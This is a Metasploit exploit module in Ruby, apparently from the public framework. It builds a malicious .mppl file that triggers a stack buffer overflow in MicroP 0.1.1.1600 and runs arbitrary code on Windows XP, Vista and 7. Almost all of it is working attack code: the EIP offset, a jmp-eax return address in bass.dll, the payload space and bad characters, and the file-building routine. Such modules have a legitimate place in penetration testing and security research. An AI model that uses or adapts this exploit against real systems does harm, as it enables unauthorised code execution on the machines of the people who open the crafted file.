##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MicroP 0.1.1.1600 (MPPL File) Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a vulnerability found in MicroP 0.1.1.1600.  A stack-based
        buffer overflow occurs when the content of a .mppl file gets copied onto the stack,
        which overwrites the lpFileName parameter of a CreateFileA() function, and results
        arbitrary code execution under the context of the user.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'James Fitts <fitts.james[at]gmail.com>' ],
      'References'     =>
        [
          [ 'OSVDB', '73627'],
          [ 'EDB', '14720' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true,
        },
      'Payload'        =>
        {
          'Space'    => 728,
          'BadChars' => "\x00\x0a\x0d",
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [
            'Windows XP SP3 / Vista / 7',
            {
              'Ret'    => 0x100145b5,  #jmp eax in bass.dll
              'Offset' => 1276,        #Offset to overwrite EIP
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Aug 23 2010',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [ true, 'The file name.',  'msf.mppl']),
        ])
  end

  def exploit
    mppl  = payload.encoded
    mppl << rand_text_alpha(target['Offset'] - payload.encoded.length)
    mppl << [target.ret].pack('V')

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(mppl)
  end
end
